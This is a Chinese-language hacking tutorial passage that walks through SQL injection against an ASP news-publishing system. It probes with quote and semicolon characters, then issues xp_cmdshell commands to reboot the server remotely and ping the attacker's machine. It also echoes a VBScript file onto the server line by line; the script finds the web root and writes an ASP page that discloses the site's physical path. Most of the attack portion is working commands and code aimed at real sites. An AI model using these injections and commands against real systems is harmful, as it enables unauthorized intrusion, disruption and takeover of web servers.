好了,让我们先来试试看在新闻发布系统的*.asp后面加上单引号',再提交。返回: Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) /mingce/student1.asp, 第 26 行 或者是页面正常,但不能够显示新闻列表,这样看来就有一半的机会了。再让我们将单引号改为分号;,提交后如果能够正常返回页面,说明这个asp没有过滤分号。只要满足这两个条件,我们就可以有戏看了。为了跟进一步的确定主机A到底是否有sql注入毛病,我们可以使用下面两种方法简单测试一下:xp_cmdshell 'iisreset /reboot'或是xp_cmdshell 'ping 你.的.I.P',如果第一个命令能执行成功那么在半分钟之内远程系统会重启一次的,第二个命令你自已的机子的防火墙通常会提示来至x.x.x.x的主机向你发送ICMP数据,不过对于这种禁止任何数据出的主机第二个命令可能也不行。
.....xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs';-- .....xp_cmdshell 'echo Set WshShell = Wscript.CreateObject("Wscript.Shell")>>c:\read.vbs';-- ..... -------------------read.vbs--------------------------------- set fso1=createobject("scripting.filesystemobject") Set WshShell = Wscript.CreateObject("Wscript.Shell") spa=WshShell.Environment("process")("windir") set fil =fso1.opentextfile(spa & "\system32\aa.txt") do while not fil.atendofstream nr=fil.readline if left(nr,4)="Path" then pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3) exit do end if loop set fil1 =fso1.opentextfile(pa&"\dd.asp",2,true) fil1.writeline "<%response.write request.servervariables(""APPL_PHYSICAL_PATH"")%>" ---------------cut here--------------------------------------